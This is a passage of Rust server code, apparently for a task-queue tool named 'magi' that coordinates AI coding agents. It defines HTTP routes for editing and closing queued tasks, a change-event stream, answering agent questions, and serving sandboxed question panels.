5311
5312/// The body of `POST /api/queue/{id}/priority`.
5313#[derive(Debug, Deserialize)]
5314#[serde(deny_unknown_fields)]
5315struct PriorityBody {
5316    priority: i32,
5317}
5318
5319/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
5320///
5321/// [`Task::set_priority`] is the one place the "not while running" rule is
5322/// stated; this route only carries the body to it and lets its `Err` become
5323/// the 4xx the card shows.
5324async fn queue_priority(
5325    State(ui): State<Arc<Ui>>,
5326    Path(id): Path<String>,
5327    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5328) -> ApiResult<Json<TaskView>> {
5329    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5330    mutate(ui, id, move |t| t.set_priority(body.priority)).await
5331}
5332
5333/// The body of `POST /api/queue/{id}/edit`.
5334#[derive(Debug, Deserialize)]
5335#[serde(deny_unknown_fields)]
5336struct EditBody {
5337    title: String,
5338    instruction: String,
5339    /// Save even though the new text names a branch, commit or pull request
5340    /// that unfinished work already owns.
5341    #[serde(default)]
5342    force: bool,
5343}
5344
5345/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
5346/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
5347/// that refusal's message is what the sheet shows back.
5348async fn queue_edit(
5349    State(ui): State<Arc<Ui>>,
5350    Path(id): Path<String>,
5351    body: std::result::Result<Json<EditBody>, JsonRejection>,
5352) -> ApiResult<Json<TaskView>> {
5353    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5354    // The judge is an agent call, so it is awaited here, outside the claim
5355    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
5356    // remembered, and the save refuses if the task moved underneath it.
5357    let mut judged: Option<(String, PathBuf)> = None;
5358    if !body.force {
5359        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5360        let (id, text) = (id.clone(), body.instruction.clone());
5361        let (seen, hits) = blocking(move || {
5362            let id = resolve_task(&queue, &id)?;
5363            let t = queue.get(&id)?;
5364            if text == t.instruction {
5365                return Ok((None, Vec::new()));
5366            }
5367            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5368            Ok((Some((t.instruction, t.repo)), hits))
5369        })
5370        .await?;
5371        if let Some((_, repo)) = &seen {
5372            let cfg = crate::config::Config::discover(repo, None)
5373                .ok()
5374                .map(|(c, _)| c);
5375            let screened =
5376                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5377                    .await
5378                    .map_err(|dup| {
5379                        ApiError::conflict(dup.render(
5380                            "Nothing was saved. If it is not a duplicate, repeat the request \
5381                             with \"force\": true.",
5382                        ))
5383                    })?;
5384            if let crate::dupes::Screened::Unjudged(why) = screened {
5385                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5386            }
5387        }
5388        judged = seen;
5389    }
5390    let force = body.force;
5391    mutate(ui, id, move |t| {
5392        if !force && body.instruction != t.instruction {
5393            match &judged {
5394                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5395                _ => {
5396                    anyhow::bail!("the task changed while it was being checked; repeat the request")
5397                }
5398            }
5399        }
5400        t.edit(body.title.clone(), body.instruction.clone())
5401    })
5402    .await
5403}
5404
5405/// `POST /api/queue/{id}/done` - close a task as finished without deleting
5406/// it, so the phone's other way to clear a task from the backlog does not
5407/// have to cost the run history, the attribution, and `created_at` the way
5408/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
5409/// can be marked done by hand, because this is for the run the loop never
5410/// saw land - a merge done by hand, or a gate that misreported - and that can
5411/// happen from any status the task was left in.
5412async fn queue_done(
5413    State(ui): State<Arc<Ui>>,
5414    Path(id): Path<String>,
5415) -> ApiResult<Json<TaskView>> {
5416    let home = ui.home.clone();
5417    mutate(ui, id, move |t| {
5418        t.succeed();
5419        // Same as the loop's own settle path: closing a task by hand is just
5420        // as much "this task's story is over" as a daemon-driven `Merged`/
5421        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
5422        // behind must stop looking like it still needs a human. `ui.home`,
5423        // not the process-global `run::home()`: they agree in a real
5424        // process, but only `ui.home` also agrees with a test fixture's own
5425        // directory.
5426        crate::daemon::supersede_prior_runs(t, &home);
5427        Ok(())
5428    })
5429    .await
5430}
5431
5432/// `DELETE /api/queue/{id}`.
5433///
5434/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
5435/// names this task: a `running` status or an orphaned `.lock` left behind by a
5436/// killed daemon is a leftover, and treating either as authority made the
5437/// task undeletable from the phone for good. The associated runs, if any, are
5438/// kept: a run is self-contained history and not an appendage of the task.
5439async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5440    blocking(move || {
5441        let id = resolve_task(&ui.queue, &id)?;
5442        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5443        ui.queue
5444            .remove(&id, in_flight, &ui.questions)
5445            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5446        Ok(StatusCode::NO_CONTENT)
5447    })
5448    .await
5449}
5450
5451/// Read a task, change it, write it back, under the queue's own lock.
5452///
5453/// Taking the same claim a daemon takes is what makes hold, release,
5454/// priority, edit, and done safe to press while magi is running: without it
5455/// the daemon's next save would land on top of the operator's change and
5456/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
5457/// both do, for a running task - and that refusal becomes the 4xx the card
5458/// shows, same as any other domain rule.
5459async fn mutate(
5460    ui: Arc<Ui>,
5461    id: String,
5462    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5463) -> ApiResult<Json<TaskView>> {
5464    blocking(move || {
5465        let id = resolve_task(&ui.queue, &id)?;
5466        // `claim` fails when the lock file already exists, which is the
5467        // conflict the UI must report: the daemon owns that task's file for
5468        // as long as it is running it, and our write would be lost under its
5469        // next save. The message names the lock either way.
5470        let _claim = ui.queue.claim(&id).map_err(|e| {
5471            ApiError::conflict(format!(
5472                "{e:#} - a daemon is running this task, so it cannot be \
5473                 changed from here yet"
5474            ))
5475        })?;
5476        let mut task = ui.queue.get(&id)?;
5477        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5478            Ok(dup) => ApiError::conflict(dup.render(
5479                "Nothing was saved. If it is not a duplicate, repeat the request with \
5480                 \"force\": true.",
5481            )),
5482            Err(e) => ApiError::bad_request_from(e),
5483        })?;
5484        ui.queue.put(&mut task)?;
5485        Ok(Json(TaskView::from(task)))
5486    })
5487    .await
5488}
5489
5490/// The change stream: one revision number per store, on connect and whenever
5491/// any of them moves.
5492///
5493/// The poll runs in one spawned task per client, which is affordable because
5494/// the work is a directory scan and a `stat` per file. It stops as soon as the
5495/// receiver is gone, so a phone that walks out of range costs nothing after
5496/// its next tick - there is no session and no cleanup to forget.
5497async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5498    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5499    tokio::spawn(async move {
5500        let mut ticker = tokio::time::interval(POLL);
5501        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5502        let mut stamps: Option<[Stamps; 3]> = None;
5503        loop {
5504            // The first tick completes immediately, which is what makes the
5505            // stream announce the current revisions on connect.
5506            ticker.tick().await;
5507            let state = Arc::clone(&ui);
5508            let revisions = tokio::task::spawn_blocking(move || {
5509                let stamps = [
5510                    store_stamps(state.queue.root(), false),
5511                    store_stamps(&state.runs, true),
5512                    store_stamps(state.talks.root(), false),
5513                ];
5514                let revisions = (
5515                    stamps_revision(&stamps[0]),
5516                    stamps_revision(&stamps[1]),
5517                    state.questions.revision(),
5518                    stamps_revision(&stamps[2]),
5519                    state.notices.revision(),
5520                    // The loop's counter is in-process state rather than a
5521                    // file, so nothing the three stats above look at would
5522                    // tell this phone that another one started the loop.
5523                    state.lock_loop().rev,
5524                );
5525                (revisions, stamps)
5526            })
5527            .await;
5528            let Ok((revisions, next_stamps)) = revisions else {
5529                break;
5530            };
5531            if last == Some(revisions) {
5532                continue;
5533            }
5534            let mut payload = serde_json::json!({
5535                "queue_rev": revisions.0,
5536                "runs_rev": revisions.1,
5537                "questions_rev": revisions.2,
5538                "talks_rev": revisions.3,
5539                "notifications_rev": revisions.4,
5540                "loop_rev": revisions.5,
5541            });
5542            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5543                for (index, (key, rev)) in [
5544                    ("queue_delta", base.0),
5545                    ("runs_delta", base.1),
5546                    ("talks_delta", base.3),
5547                ]
5548                .into_iter()
5549                .enumerate()
5550                {
5551                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5552                    // Empty diffs may mean a non-file dependency moved. Read whole.
5553                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5554                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
5555                    }
5556                }
5557            }
5558            last = Some(revisions);
5559            stamps = Some(next_stamps);
5560            // Giving up beats looping if the receiver is gone.
5561            let Ok(event) = Event::default().event("change").json_data(payload) else {
5562                break;
5563            };
5564            if tx.send(event).await.is_err() {
5565                break;
5566            }
5567        }
5568    });
5569    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5570        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5571}
5572
5573type Stamps = HashMap<String, (u128, u64)>;
5574
5575/// Metadata only: no task instructions or conversation bodies are read here.
5576fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5577    std::fs::read_dir(root)
5578        .into_iter()
5579        .flatten()
5580        .flatten()
5581        .filter_map(|entry| {
5582            let path = if runs {
5583                entry.path().join("run.json")
5584            } else {
5585                entry.path()
5586            };
5587            if !runs && path.extension().is_none_or(|ext| ext != "json") {
5588                return None;
5589            }
5590            let metadata = path.metadata().ok()?;
5591            let modified = metadata
5592                .modified()
5593                .ok()?
5594                .duration_since(std::time::UNIX_EPOCH)
5595                .ok()?;
5596            let id = if runs {
5597                entry.file_name().to_string_lossy().into_owned()
5598            } else {
5599                path.file_stem()?.to_string_lossy().into_owned()
5600            };
5601            Some((id, (modified.as_nanos(), metadata.len())))
5602        })
5603        .collect()
5604}
5605
5606#[derive(Debug, Serialize)]
5607struct Delta {
5608    base: u64,
5609    changed: Vec<String>,
5610    removed: Vec<String>,
5611}
5612
5613fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5614    let mut changed: Vec<_> = next
5615        .iter()
5616        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5617        .map(|(id, _)| id.clone())
5618        .collect();
5619    let mut removed: Vec<_> = previous
5620        .keys()
5621        .filter(|id| !next.contains_key(*id))
5622        .cloned()
5623        .collect();
5624    changed.sort_unstable();
5625    removed.sort_unstable();
5626    Delta {
5627        base,
5628        changed,
5629        removed,
5630    }
5631}
5632
5633/// Change detection token for recorded runs under `runs`.
5634///
5635/// Combines the id and `run.json` modification time of each run, so adding,
5636/// updating, or deleting any run — even an older one — moves the revision and
5637/// notifies connected clients via the change stream. Returns 0 when no runs
5638/// exist.
5639fn runs_revision(runs: &FsPath) -> u64 {
5640    stamps_revision(&store_stamps(runs, true))
5641}
5642
5643/// Opaque tokens use the exact metadata snapshot behind the delta, in both
5644/// health and SSE. Nanoseconds and length also detect same-millisecond writes
5645/// and deleting an older conversation (a newest-mtime token cannot do that).
5646fn stamps_revision(stamps: &Stamps) -> u64 {
5647    use std::hash::{Hash as _, Hasher as _};
5648    if stamps.is_empty() {
5649        return 0;
5650    }
5651    let mut entries: Vec<_> = stamps.iter().collect();
5652    entries.sort_unstable();
5653    let mut hasher = std::hash::DefaultHasher::new();
5654    entries.hash(&mut hasher);
5655    hasher.finish().max(1)
5656}
5657
5658/// Run ids under `runs`, newest first.
5659///
5660/// Rooted at an explicit directory rather than calling [`run::list_ids`],
5661/// which reads the process-global home: the server has to be drivable against
5662/// a temp directory for any of this to be testable.
5663fn run_ids(runs: &FsPath) -> Vec<String> {
5664    let mut ids: Vec<String> = std::fs::read_dir(runs)
5665        .into_iter()
5666        .flatten()
5667        .flatten()
5668        .filter(|e| e.path().join("run.json").is_file())
5669        .map(|e| e.file_name().to_string_lossy().into_owned())
5670        .collect();
5671    // Ids start with a sortable timestamp.
5672    ids.sort_unstable_by(|a, b| b.cmp(a));
5673    ids
5674}
5675
5676/// Read one run's state from an explicit runs root.
5677fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5678    let path = runs.join(id).join("run.json");
5679    let body =
5680        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5681    let state: RunState =
5682        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5683    // The same migration `RunState::load` applies, so a record from the
5684    // previous schema reads here as it does everywhere else (an origin-less
5685    // run shows as "origin unknown") instead of vanishing from the phone the
5686    // moment the schema is bumped.
5687    run::migrate_schema(state)
5688}
5689
5690/// Runs on disk under `runs` whose state this build cannot parse - almost
5691/// always a schema bump, occasionally a run killed mid-write.
5692///
5693/// Exposed so every surface that reports on runs shares one count instead of
5694/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
5695/// `magi doctor` calls this directly rather than guessing at the same number
5696/// a second way.
5697#[must_use]
5698pub fn runs_unreadable(runs: &FsPath) -> usize {
5699    run_ids(runs)
5700        .into_iter()
5701        .filter(|id| read_run(runs, id).is_err())
5702        .count()
5703}
5704
5705/// Expand an id or short id to exactly one run id.
5706fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5707    if runs.join(id).join("run.json").is_file() {
5708        return Ok(id.to_owned());
5709    }
5710    pick(run_ids(runs), id, "run")
5711}
5712
5713/// Expand an id or short id to exactly one task id.
5714fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5715    if queue.path_of(id).is_file() {
5716        return Ok(id.to_owned());
5717    }
5718    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5719}
5720
5721/// A question as the phone reads it.
5722///
5723/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
5724/// text already parsed into a node tree so the client never runs its own
5725/// markdown reader over agent-authored prose. A relative image path in it
5726/// resolves against this question's own panel asset route, which is the one
5727/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
5728/// separate, sandboxed document, but `detail` is rendered inline in the
5729/// operator's own page, so an image reference in it may only ever point at
5730/// files magi itself already serves for this question.
5731#[derive(Debug, Serialize)]
5732struct QuestionView {
5733    #[serde(flatten)]
5734    question: Question,
5735    detail_md: Vec<md::Node>,
5736    /// Each thread turn's body, parsed; same order as `question.thread`.
5737    thread_bodies_md: Vec<Vec<md::Node>>,
5738    /// Each thread turn's deputy note, parsed (`None` for a turn without
5739    /// one); same order as `question.thread`.
5740    thread_notes_md: Vec<Option<Vec<md::Node>>>,
5741    /// Is the ball in the agent's court right now?
5742    ///
5743    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
5744    /// [`Question::say`] - so this is the one field that tells the phone to
5745    /// disable the answer controls and show "waiting for the agent" instead of
5746    /// a card the owner can act on. Computed rather than stored on
5747    /// [`Question`] itself, on the same reasoning as `waiting` on
5748    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
5749    /// it here means the client never has to re-derive that rule.
5750    waiting_on_agent: bool,
5751    /// Who is waiting on this open question - see [`holder_of`]. Separate
5752    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
5753    /// anyone is there to take it.
5754    holder: Option<&'static str>,
5755    /// Whether `magi serve` can start a follow-up agent for a conductor
5756    /// question at all: false when `daemon.max_deputies = 0` or the config is
5757    /// unreadable. Separate from `holder`, which says who is listening now.
5758    deputies_enabled: bool,
5759    /// `question.run` is a task id (conductor / triage questions), not a run
5760    /// id, so the UI links it to the task page.
5761    run_is_task: bool,
5762    /// The chat conversation this question's task came from, when the owner
5763    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
5764    /// UI offers "Ask the chat agent" only when this is set; it is never one
5765    /// of `question.choices`.
5766    origin_chat: Option<String>,
5767    /// `origin_chat` is closed; consulting reopens it first.
5768    origin_chat_closed: bool,
5769}
5770
5771impl QuestionView {
5772    /// The view of `question`, reading who is waiting on it from `store`.
5773    ///
5774    /// `holder` needs the lease sidecar, which is why this is not a `From`.
5775    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5776        let base = md::ImageBase::QuestionPanel {
5777            id: question.id.clone(),
5778        };
5779        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5780        Self {
5781            detail_md: md::to_nodes(&question.detail, &base),
5782            thread_bodies_md: question
5783                .thread
5784                .iter()
5785                .map(|t| md::to_nodes(&t.body, &base))
5786                .collect(),
5787            thread_notes_md: question
5788                .thread
5789                .iter()
5790                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5791                .collect(),
5792            waiting_on_agent: question.waiting_on_agent(),
5793            holder,
5794            deputies_enabled,
5795            run_is_task: question.run_names_task(),
5796            origin_chat: None,
5797            origin_chat_closed: false,
5798            question,
5799        }
5800    }
5801
5802    /// Fill `origin_chat` from the queue and the talks.
5803    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5804        let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5805        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5806        self.origin_chat = talk.map(|t| t.id);
5807        self
5808    }
5809}
5810
5811/// The config this repository resolves, or `None` when it cannot be read.
5812/// Discovering is git processes plus a config render, so a request that needs
5813/// it for many items takes it once and passes it down.
5814fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5815    Config::discover(repo, None).ok().map(|(c, _)| c)
5816}
5817
5818/// Can `magi serve` start a deputy for this question under `cfg`?
5819fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5820    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5821}
5822
5823/// The views `GET /api/questions` answers. `load` runs at most once, however
5824/// many questions there are, and not at all when there are none.
5825fn question_views(
5826    qs: Vec<Question>,
5827    store: &ask::Questions,
5828    load: impl FnOnce() -> Option<Config>,
5829) -> Vec<QuestionView> {
5830    if qs.is_empty() {
5831        return Vec::new();
5832    }
5833    let cfg = load();
5834    qs.into_iter()
5835        .map(|q| {
5836            let on = deputies_enabled(cfg.as_ref(), &q);
5837            QuestionView::of(q, store, on)
5838        })
5839        .collect()
5840}
5841
5842/// Who is honestly waiting on an open question right now: `"asker"` (the
5843/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
5844/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
5845/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
5846/// up, or the question never had anyone listening (a conductor question or a
5847/// merge approval from before deputies, or not yet given one).
5848///
5849/// `None` for a question that is settled, and for one that is not an agent's
5850/// to wait on at all (a release notice).
5851fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5852    if !q.status.open() {
5853        return None;
5854    }
5855    if q.cwd.is_none() && q.deputy.is_none() {
5856        return crate::deputy::kind_of(q).map(|_| "nobody");
5857    }
5858    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5859        Some(_) if q.deputy.is_some() => "deputy",
5860        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5861        Some(_) => "asker",
5862        None => "nobody",
5863    })
5864}
5865
5866/// `GET /api/questions`.
5867///
5868/// Everything, not just the open ones: an answered question is the record of a
5869/// decision, and the phone is where the operator goes back to check what they
5870/// told an agent at 3am. `ask::Questions::list` already ranks open first.
5871async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5872    blocking(move || {
5873        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5874        Ok(Json(
5875            question_views(ui.questions.list(), &ui.questions, || {
5876                deputy_config(&ui.repo)
5877            })
5878            .into_iter()
5879            .map(|v| v.with_origin(&tasks, &talks))
5880            .collect(),
5881        ))
5882    })
5883    .await
5884}
5885
5886/// `GET /api/notifications`: not dismissed, newest first, with the unread
5887/// count so the badge and the list cannot disagree.
5888async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5889    blocking(move || {
5890        let items = ui.notices.list();
5891        let unread = items.iter().filter(|n| n.unread()).count();
5892        Ok(Json(
5893            serde_json::json!({ "unread": unread, "items": items }),
5894        ))
5895    })
5896    .await
5897}
5898
5899fn notice_error(e: anyhow::Error) -> ApiError {
5900    // An unknown or malformed id and a vanished file are the same answer to
5901    // the phone: that notification is gone.
5902    ApiError::not_found(format!("{e:#}"))
5903}
5904
5905/// `POST /api/notifications/{id}/read`.
5906async fn notification_read(
5907    State(ui): State<Arc<Ui>>,
5908    Path(id): Path<String>,
5909) -> ApiResult<Json<Notice>> {
5910    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5911}
5912
5913/// `POST /api/notifications/{id}/dismiss`.
5914async fn notification_dismiss(
5915    State(ui): State<Arc<Ui>>,
5916    Path(id): Path<String>,
5917) -> ApiResult<Json<Notice>> {
5918    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5919}
5920
5921/// `POST /api/notifications/read-all`.
5922async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5923    blocking(move || {
5924        let changed = ui.notices.mark_all_read()?;
5925        Ok(Json(serde_json::json!({ "marked": changed })))
5926    })
5927    .await
5928}
5929
5930/// The body of `POST /api/questions/{id}/answer`.
5931///
5932/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
5933/// a bad request rather than a guess: an answer magi invented is worse than a
5934/// question left open.
5935#[derive(Debug, Default, Deserialize)]
5936#[serde(default, deny_unknown_fields)]
5937struct NewAnswer {
5938    choice: Option<String>,
5939    text: Option<String>,
5940}
5941
5942async fn question_answer(
5943    State(ui): State<Arc<Ui>>,
5944    Path(id): Path<String>,
5945    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5946) -> ApiResult<Json<QuestionView>> {
5947    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5948    let answer = match (body.choice, body.text) {
5949        (Some(c), None) => Answer::Choice(c),
5950        (None, Some(t)) => Answer::Text(t),
5951        (Some(_), Some(_)) => {
5952            return Err(ApiError::bad_request(
5953                "send either `choice` or `text`, not both",
5954            ));
5955        }
5956        (None, None) => {
5957            return Err(ApiError::bad_request("send a `choice` or a `text`"));
5958        }
5959    };
5960
5961    blocking(move || {
5962        let id = resolve_question(&ui.questions, &id)?;
5963        let q = ui
5964            .questions
5965            .get(&id)
5966            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5967        if !q.status.open() {
5968            // Answered from the terminal, or by another phone, in between the
5969            // list and the tap. The UI shows the recorded answer rather than an
5970            // error, so it needs the record, not just the status.
5971            return Err(ApiError::conflict(format!(
5972                "question {} is already {}",
5973                q.short(),
5974                q.status.as_str()
5975            )));
5976        }
5977        // `Question::answer` owns the rules - an unoffered choice, free text on
5978        // a multiple-choice question, an empty reply - so the route does not
5979        // restate them and cannot drift from the CLI's behaviour.
5980        let (q, ()) = ui
5981            .questions
5982            .update(&q.id, |r| r.answer(answer))
5983            .map_err(ApiError::bad_request_from)?;
5984        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5985        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5986        Ok(Json(
5987            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5988        ))
5989    })
5990    .await
5991}
5992
5993/// The body of `POST /api/questions/{id}/say`.
5994#[derive(Debug, Deserialize)]
5995#[serde(deny_unknown_fields)]
5996struct NewSay {
5997    body: String,
5998}
5999
6000/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
6001///
6002/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
6003/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
6004/// file, so there is no turn to serialize against and no
6005/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
6006/// is a *different* process - the run parked behind `magi ask` - and picks
6007/// the reply up on its own poll of the very same file, same as an answer
6008/// does.
6009async fn question_say(
6010    State(ui): State<Arc<Ui>>,
6011    Path(id): Path<String>,
6012    body: std::result::Result<Json<NewSay>, JsonRejection>,
6013) -> ApiResult<Json<QuestionView>> {
6014    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6015    blocking(move || {
6016        let id = resolve_question(&ui.questions, &id)?;
6017        let q = ui
6018            .questions
6019            .get(&id)
6020            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6021        if !q.status.open() {
6022            // Same granularity as `question_answer`: answered or abandoned in
6023            // between the list and the tap is not this route's error to
6024            // explain any differently.
6025            return Err(ApiError::conflict(format!(
6026                "question {} is already {}",
6027                q.short(),
6028                q.status.as_str()
6029            )));
6030        }
6031        // `Question::say` owns the one rule that matters here - an empty
6032        // message tells the agent nothing - so the route does not restate it.
6033        let (q, ()) = ui
6034            .questions
6035            .update(&q.id, |r| r.say(body.body))
6036            .map_err(ApiError::bad_request_from)?;
6037        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6038        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6039        Ok(Json(
6040            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6041        ))
6042    })
6043    .await
6044}
6045
6046/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
6047/// came from. The question stays open: the chat agent answers it with `magi
6048/// answer`, or puts the decision to the owner in the conversation.
6049///
6050/// Answers 202 and runs the turn in the background, like every route that
6051/// spends agent calls. The text is queued as a draft of the existing talk, and
6052/// the turn goes through the talk's own gate and session; no seat or waiter is
6053/// started here.
6054async fn question_consult(
6055    State(ui): State<Arc<Ui>>,
6056    Path(id): Path<String>,
6057) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6058    let (view, reclaimed) = blocking({
6059        let ui = Arc::clone(&ui);
6060        move || {
6061            let id = resolve_question(&ui.questions, &id)?;
6062            let q = ui
6063                .questions
6064                .get(&id)
6065                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6066            if !q.status.open() {
6067                return Err(ApiError::conflict(format!(
6068                    "question {} is already {}",
6069                    q.short(),
6070                    q.status.as_str()
6071                )));
6072            }
6073            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6074            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6075                return Err(ApiError::conflict(format!(
6076                    "question {} has no chat to ask",
6077                    q.short()
6078                )));
6079            };
6080            // Read the config before `begin` saves anything: a failure here
6081            // must leave no consult record or draft behind, or a retry would
6082            // see `fresh == false` and never start the turn.
6083            let cfg = if q.consult.is_none() {
6084                Some(Config::discover(&talk.repo, None)?.0)
6085            } else {
6086                None
6087            };
6088            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6089            let claim = if fresh {
6090                match ui.begin_queued_talk_turn(&talk.id)? {
6091                    Some(turn_guard) => {
6092                        let talk = ui.talks.get(&talk.id)?;
6093                        let cfg = match cfg {
6094                            Some(cfg) => cfg,
6095                            None => Config::discover(&talk.repo, None)?.0,
6096                        };
6097                        Some((talk, cfg, turn_guard))
6098                    }
6099                    None => None,
6100                }
6101            } else {
6102                None
6103            };
6104            let q = ui.questions.get(&q.id)?;
6105            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6106            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6107            Ok((view, claim))
6108        }
6109    })
6110    .await?;
6111    if let Some((talk, cfg, turn_guard)) = reclaimed {
6112        let talks = ui.talks.clone();
6113        let id = talk.id.clone();
6114        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6115    }
6116    Ok((StatusCode::ACCEPTED, Json(view)))
6117}
6118
6119/// Expand an id or short id to exactly one question id.
6120fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6121    if store.path_of(id).is_file() {
6122        return Ok(id.to_owned());
6123    }
6124    pick(
6125        store.list().into_iter().map(|q| q.id).collect(),
6126        id,
6127        "question",
6128    )
6129}
6130
6131/// `GET /api/questions/{id}/panel`.
6132///
6133/// The panel an agent wrote for this question, as `text/html` under
6134/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
6135/// A question without one is a 404 rather than an empty page: the client
6136/// preflights this route with `HEAD` and must be able to tell "no panel" from
6137/// "a panel that rendered blank", and a sandboxed frame is opaque to the
6138/// parent document so it cannot tell the difference by looking.
6139///
6140/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
6141/// sanitises or minifies it - a sanitiser is a list of things someone thought
6142/// of, and the sandbox plus the CSP is a list of things that are allowed, which
6143/// is the direction that stays safe when an agent writes markup nobody
6144/// predicted.
6145async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6146    blocking(move || {
6147        let id = resolve_question(&ui.questions, &id)?;
6148        let Some(html) = ui.questions.panel_html(&id) else {
6149            return Err(ApiError::not_found(format!("question {id} has no panel")));
6150        };
6151        Ok(panel_response(
6152            "text/html; charset=utf-8",
6153            false,
6154            html.into_bytes(),
6155        ))
6156    })
6157    .await
6158}
6159
6160/// `GET /api/questions/{id}/asset/{name}`.
6161///
6162/// One file from the question's own panel directory, so a panel can show a
6163/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
6164/// having to allow anything off this machine.
6165///
6166/// This is the only route in the server where a client names a file, so it is
6167/// the only one with a traversal surface, and the name is checked by
6168/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
